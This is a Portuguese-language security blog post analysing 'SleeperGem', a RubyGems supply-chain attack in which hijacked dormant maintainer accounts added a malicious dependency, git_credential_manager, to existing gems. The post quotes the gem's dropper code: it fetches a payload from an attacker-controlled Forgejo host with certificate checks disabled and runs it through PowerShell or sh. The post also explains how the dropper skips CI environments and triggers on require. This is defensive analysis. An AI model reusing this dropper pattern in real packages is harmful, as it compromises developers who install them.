Aikido

SleeperGem: ataque à cadeia de suprimentos do RubyGems visa contas de mantenedores dormentes

Escrito por
Charlie Eriksen

Não é comum vermos um ataque à cadeia de suprimentos no RubyGems. Mas com as férias de verão a todo vapor, talvez devêssemos ter esperado um. Ainda assim, foi uma surpresa quando abri a fila de triagem esta manhã e encontrei um novo pacote suspeito esperando.

Uma gem novinha em folha chamada git_credential_manager teve quatro versões publicadas em rápida sucessão. À primeira vista, tudo o que parecia fazer era baixar alguns binários de um host que eu nunca tinha visto antes. Certamente isso não poderia ser malicioso... certo?

Binários aleatórios

O pacote se destacou imediatamente porque simplesmente baixava binários de um repositório Git hospedado em https://git.disroot[.]org/git-ecosystem/.

git.disroot[.]org é uma instância pública do Forgejo onde qualquer um pode criar repositórios. Alguém convenientemente registrou o nome de usuário git-ecosystem, fazendo o projeto parecer legítimo o suficiente para evitar suspeitas imediatas.

Dentro do repositório não havia nada além de binários, alguns compactados. Quando enviamos um deles ao VirusTotal, os fornecedores de antivírus não perderam tempo em sinalizá-lo como malicioso.

A que ponto chegamos se não podemos confiar nem no "Git Ecosystem"? /s

Não é exatamente sutil, uma vez que você olha

Analisando as quatro versões, é possível observar o mecanismo de entrega sendo construído em tempo real ao longo de aproximadamente nove horas, em duas sessões.

Versão 2.8.0 já era um dropper totalmente funcional no primeiro dia: construir uma URL contra aquele host Forgejo hardcoded, buscá-lo com a verificação de certificado explicitamente desativada e entregar o payload diretamente a um shell ou PowerShell:

def base_url
  "https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE  # Desativar verificação SSL
if goos == "windows"
  Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
  Process.spawn("/bin/sh \"#{full_path}\"")
end

Versão 2.8.1, 24 minutos depois, mudou exatamente uma coisa: redirecionou a saída da execução Unix para /dev/null. Nenhuma nova capacidade, apenas uma mais silenciosa. Alguém estava observando a saída do console do próprio malware e decidiu que era muito barulhenta.

Depois, há um intervalo de oito horas, presumivelmente para dormir, antes que a versão 2.8.2 apareça na manhã seguinte com a escalada real: o instalador é conectado diretamente ao caminho de carregamento da gem, de modo que apenas require-ing git_credential_manager (não instalando um binário, não executando nada explicitamente, apenas carregando a biblioteca) é suficiente para iniciar todo o processo. E nesse mesmo lançamento, a linha que aciona o script baixado é comentada. Dezessete minutos depois, a versão 2.8.3 a descomenta. Um caractere, funcionalmente, e o dropper passa de staged para live.

Há também uma verificação skip_install? que procura por aproximadamente 30 variáveis de ambiente pertencentes a plataformas CI, GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins, Vercel, e não faz nada se encontrar uma. Isso foi construído propositalmente para evitar servidores de build. Ele quer laptops de desenvolvedores, não runners CI descartáveis.

Outros pacotes comprometidos

Em seguida, verifiquei a conta do publicador e notei que eles mantinham várias outras gems. Algumas não eram atualizadas desde 2019, enquanto outras receberam, de repente, novos lançamentos ontem e hoje.

O mais notável foi Dendreo, publicado pela primeira vez em 2017. Na mesma época que git_credential_manager, duas novas versões surgiram. Sem surpresa, o atacante havia adicionado git_credential_manager como uma dependência, permitindo que o payload malicioso se espalhasse para usuários existentes.

Mais preocupante ainda, o atacante também publicou uma nova versão de fastlane-plugin-run_tests_firebase_testlab, um projeto completamente não relacionado com 574.661 downloads totais. Ao contrário das outras gems comprometidas, esta pertencia a um mantenedor completamente diferente, sugerindo que o comprometimento se estendeu além de uma única conta.

A verdadeira lição aqui

Cobrimos muitos incidentes de npm e PyPI semelhantes a este. RubyGems tem se mantido, em grande parte, fora dessa tendência, e não conseguimos encontrar um caso anterior de duas contas de mantenedores não relacionadas e há muito tempo inativas reativadas com poucas horas de diferença para inserir a mesma dependência em gems que as pessoas já confiavam. Pelo que sabemos, este é o primeiro contato real de RubyGems com o que npm e PyPI têm lidado há mais de um ano.

Uma conta RubyGems que ficou inativa por seis ou sete anos não parece arriscada para ninguém. Esse é exatamente o perfil que vale a pena assumir. É daí que vem o nome SleeperGem: não um ativo de atacante plantado e de longo prazo, mas uma conta real e comum que simplesmente havia ficado inativa e parecia inofensiva o suficiente para ser sequestrada sem que ninguém percebesse.

Duas contas comprometidas até agora, em um registro que, em grande parte, havia evitado isso até agora. Esperemos que isso não se torne uma tendência. 

Compartilhar:

https://www.aikido.dev/blog/sleepergem-rubygems-supply-chain-attack

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.